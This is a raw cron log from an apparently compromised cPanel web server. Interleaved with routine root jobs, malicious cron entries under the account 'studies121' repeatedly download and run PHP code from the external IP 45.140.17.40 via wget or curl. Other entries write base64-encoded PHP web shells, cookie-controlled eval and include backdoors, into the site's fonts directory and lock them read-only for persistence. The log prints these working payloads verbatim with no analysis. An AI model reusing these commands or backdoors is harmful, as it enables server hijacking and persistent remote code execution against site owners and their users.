Sep  6 17:18:01 ip-184-168-122-23 CROND[3461]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 17:18:01 ip-184-168-122-23 CROND[3462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:19:01 ip-184-168-122-23 CROND[3626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:19:01 ip-184-168-122-23 CROND[3628]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:19:01 ip-184-168-122-23 CROND[3630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:19:01 ip-184-168-122-23 CROND[3631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:20:01 ip-184-168-122-23 CROND[3715]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 17:20:01 ip-184-168-122-23 CROND[3719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:20:01 ip-184-168-122-23 CROND[3721]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 17:20:01 ip-184-168-122-23 CROND[3725]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 17:20:01 ip-184-168-122-23 CROND[3726]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 17:20:01 ip-184-168-122-23 CROND[3724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:20:01 ip-184-168-122-23 CROND[3727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:20:01 ip-184-168-122-23 CROND[3728]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 17:20:01 ip-184-168-122-23 CROND[3730]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:21:01 ip-184-168-122-23 CROND[3825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:21:01 ip-184-168-122-23 CROND[3826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:21:01 ip-184-168-122-23 CROND[3828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:21:02 ip-184-168-122-23 CROND[3831]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:22:01 ip-184-168-122-23 CROND[3906]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:22:01 ip-184-168-122-23 CROND[3908]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 17:22:01 ip-184-168-122-23 CROND[3910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:22:01 ip-184-168-122-23 CROND[3911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:22:01 ip-184-168-122-23 CROND[3909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:23:01 ip-184-168-122-23 CROND[3995]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:23:01 ip-184-168-122-23 CROND[3999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:23:01 ip-184-168-122-23 CROND[3997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:23:01 ip-184-168-122-23 CROND[3998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:24:01 ip-184-168-122-23 CROND[4088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:24:01 ip-184-168-122-23 CROND[4091]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 17:24:01 ip-184-168-122-23 CROND[4092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:24:01 ip-184-168-122-23 CROND[4093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:24:01 ip-184-168-122-23 CROND[4090]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:25:01 ip-184-168-122-23 CROND[4203]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 17:25:01 ip-184-168-122-23 CROND[4205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:25:01 ip-184-168-122-23 CROND[4208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:25:01 ip-184-168-122-23 CROND[4209]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 17:25:01 ip-184-168-122-23 CROND[4210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:25:01 ip-184-168-122-23 CROND[4206]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:26:01 ip-184-168-122-23 CROND[4342]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 17:26:01 ip-184-168-122-23 CROND[4345]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:26:01 ip-184-168-122-23 CROND[4348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:26:01 ip-184-168-122-23 CROND[4344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:26:01 ip-184-168-122-23 CROND[4346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:27:01 ip-184-168-122-23 CROND[4523]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:27:01 ip-184-168-122-23 CROND[4526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:27:01 ip-184-168-122-23 CROND[4525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:27:01 ip-184-168-122-23 CROND[4527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:28:01 ip-184-168-122-23 CROND[4626]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:28:01 ip-184-168-122-23 CROND[4627]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 17:28:01 ip-184-168-122-23 CROND[4631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:28:01 ip-184-168-122-23 CROND[4632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:28:01 ip-184-168-122-23 CROND[4630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:29:01 ip-184-168-122-23 CROND[4715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:29:01 ip-184-168-122-23 CROND[4718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:29:01 ip-184-168-122-23 CROND[4717]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:29:01 ip-184-168-122-23 CROND[4720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:30:01 ip-184-168-122-23 CROND[4800]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 17:30:01 ip-184-168-122-23 CROND[4805]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 17:30:01 ip-184-168-122-23 CROND[4802]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 17:30:01 ip-184-168-122-23 CROND[4803]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:30:01 ip-184-168-122-23 CROND[4807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:30:01 ip-184-168-122-23 CROND[4806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:30:01 ip-184-168-122-23 CROND[4808]: (root) CMD (/usr/lib64/sa/sa1 1 1)
